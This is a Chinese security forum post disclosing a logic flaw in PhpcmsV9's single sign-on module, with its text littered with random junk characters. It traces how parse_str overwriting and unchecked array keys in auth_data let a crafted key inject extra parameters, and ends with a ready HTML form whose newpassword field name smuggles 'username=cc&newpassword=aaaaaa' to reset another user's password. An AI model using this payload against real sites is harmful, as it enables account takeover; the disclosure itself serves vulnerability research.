找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1792|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:& T: y# X- Z# g. ^: R& w
4 I  z" c8 _! N7 J3 J
) u) h+ c, c1 j- |
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% u  i# I/ B, N# D( u0 v$ E

1 l2 e4 |( _3 S$ f2 W1 m在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" T3 ^4 k8 t: f3 ^# D; U
" m  f8 q' B9 U7 |) V我把它留给了你们。  n9 v) k7 m6 ?
不知道你们发现了它没有。
5 `% N( ?* d- v8 {* ]/ H  D. a5 y5 V' ]# {. e; ~5 |
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
* L' ^$ f9 ?. [% k
( D& I' n8 _! b! j所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" [! L. P0 j. O: E2 X# n- g* y; C2 u( o  P2 m1 ?0 Z
也就是
0 ]  X; k# V4 \% H3 U' W& p$ B
$ h* d% j" ^7 S# K# Y5 G" _$ j- Ausername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。, O- [/ s& p; h: T! d/ M
0 h1 `& x  Z+ o8 Q9 ?1 E
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。' m$ T' K- ?; `, ^7 D/ j6 M

7 D$ T; [' ]$ O) i% ~' @
+ v1 p# z( O) Q0 g' \6 h, x其实我们有这样的机会,看看代码,如下:% l+ n: T' x7 ]* J/ A! u8 E. P8 a

) e6 c4 K3 ]& @& \! P- }- n# U
0 T0 B9 l# ^  B  s, Dpublic function auth_data($data) {
1 x3 Y+ b0 O, h" V% `( v! ]                $s = $sep = '';' O$ ?0 h3 y8 K/ ]; x. O9 B  T! L
                foreach($data as $k => $v) {1 ?. O) O  a5 w8 s& B: a# ^6 _
                        if(is_array($v)) {
$ a1 ]) O5 D, j& b; h                                $s2 = $sep2 = '';
' j. d0 z) j1 X+ {$ r( o                                foreach($v as $k2 => $v2) {
' m" t+ G7 M. |- q1 {                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);) K  y' v5 J% {1 _+ h
                                        $sep2 = '&';2 h4 O2 S/ U6 e% |2 t
                                }) H9 g* V/ S; D% C
                                $s .= $sep.$s2;
5 C3 O2 k; L: U1 t, ?- X                        } else {
7 [* U6 m* R  `2 [# X2 K5 ~                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
* `" g' Q/ l% q                        }6 g8 b/ `5 `) ]' q2 t$ m
                        $sep = '&';
0 p# v' n& m4 E" f  Q3 w2 d                }
7 U# E  `* h- H
/ S7 f6 c9 ^- @3 F$ `                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));( O7 Z6 C/ O, M9 W$ i: J
                return $auth_s;- K0 y" k" J  G. I
        }' [2 F2 o2 c8 b; B9 d4 m
2 X4 y8 l( R& T" ]& ]
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。  ]5 C( v5 |& d7 S

  Y/ O& K6 `! ^" S7 |$ F举个例子% x* R. q5 T3 b

* r, ?: a* K" C& m) d$ ^: d  |7 B$a[aaa=a&bbb] = 'a';; P5 G4 |4 p3 P  _

6 W7 i) o3 [9 ]- }4 J会变成aaa=a&bbb=a
+ R+ ]! e# u; u) p
+ a) a: C9 |0 S, i3 J明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。( m8 R% J- \# S8 L
: x% P* z* u8 h" q. D: l
这个时候,我们可以再去看一个函数。
6 s/ w- n( {) l" Y
6 g" N' `: F# O就在这个文件内:
5 H" j  D% z: e/ s; k, r3 N2 e4 v

7 ^: P! q2 V5 Z9 z& N" zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# e/ U5 O5 G) M; W' `/ r
                if($email && !$this->_is_email($email)) {
& m3 y% i7 M2 @. i                        return -4;# \3 S$ u$ ^6 Z& d/ `  m, U
                }
) g/ P: g4 |. x% Q6 M                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));) `: V, G% ^+ C( p
        }4 L/ A& u0 d- q/ M- C

! _& d; ]5 x, Y5 ?0 @6 q这是向通行证发了这样一个请求。$ y8 _8 E4 j) c8 |" q2 Z

- T0 p6 R/ P  ^6 x" ]我们再跟到通信证代码里去看看,就会有所发现。
6 ~6 H1 V6 `' E5 v  j
6 C$ ]4 U9 s9 G, ^8 q7 ~' U5 E4 a& g3 z0 Q+ y0 ]
public function edit() {
: X, j$ S- d7 r! p//能省就省,太长了不是吗?
4 v" J$ ^, r$ V1 R7 I& h: ]& L
& s, b( U7 g$ K* Xif($this->username) {6 f! W1 H" w! g+ h- D
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。: ~0 Y9 F. x8 {; q$ O2 c$ d
                                $res = $this->db->update($data, array('username'=>$this->username));
2 ]4 M5 r! `. d0 b) @                        } else {
. `1 [2 @& k2 n( {8 O                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
5 ?! z2 ~2 S2 c/ e) f2 d1 N                                $res = $this->db->update($data, array('uid'=>$this->uid));4 L$ Z7 G1 K: g$ |+ P4 ^- C, `
                        }& ^, Y+ r% T1 [/ T3 n
+ \, D  Z, m5 c& k3 d/ {! F9 l6 o
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
, {6 k7 \9 o2 j+ G$ q! f/ _+ n" x, b; [# M
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
" E# q3 E& F( @7 G
: i& R( s: b$ \很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。" E0 r1 P, u* u0 F4 g: D( @

4 l% x5 H: n8 f7 o, L& Q- O" z我当然找到了:9 H0 y/ k4 w5 H5 z! \! a
phpcms9/phpcms/modules/member/index.php0 W! y7 B* o* x! o& Z+ \0 c& U. }
& A( ]/ K% t# C& J% Z
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" R. ~4 x! M- B' x, Q8 s
9 p  J9 O, S* y1 O4 b- |
然后就没有然后了。( z9 k! Z) i$ P# i  B; _

: g4 M( ]4 V% a/ s- x, _<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 T  {2 q8 p# {7 k# B. k- [                                <table width="100%" cellspacing="0" class="table_form">9 f3 i/ Y4 S9 j9 t! C9 h
                                        <tr>' B9 g4 m  ?% Z/ j/ k$ y
                                                <th width="80">邮箱:</th>        ) g# V2 [" `& Y6 v! c- Q
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>6 |1 F9 L5 ]* R
                                        </tr>9 B2 v& {5 v+ r. [/ @" x. C6 _
                                        <tr>
0 K' I/ l! @9 l& o/ t' s1 |5 y% M                                                <th width="80">原密码:</th>        ' U# H) t- z! K0 g4 |
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
% a5 X  O0 u7 X0 i                                        </tr>
7 P5 E8 z0 V1 u! }' O4 s                                        <tr>  G, M0 ^9 A2 d( W1 X2 r
                                                <th>新密码:</th>
. v- ?4 n# P) Z% {                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 C  \* Z$ o3 q* _# W: f& C  K                                        </tr>$ b8 k5 q0 e3 ]$ [
                                        <th></th>( [/ @; a: c4 C& I
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
( Z$ S( G0 f7 P% ]                                        </tr>% \. R5 w' b7 i5 O
                                </table>+ v) e. X* w" I- s1 g
- c9 u1 h4 E. M9 N, _% P
                               
1 X! P" H; @% U" s                        </form>
4 w4 f* [( u; v3 W; H2 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表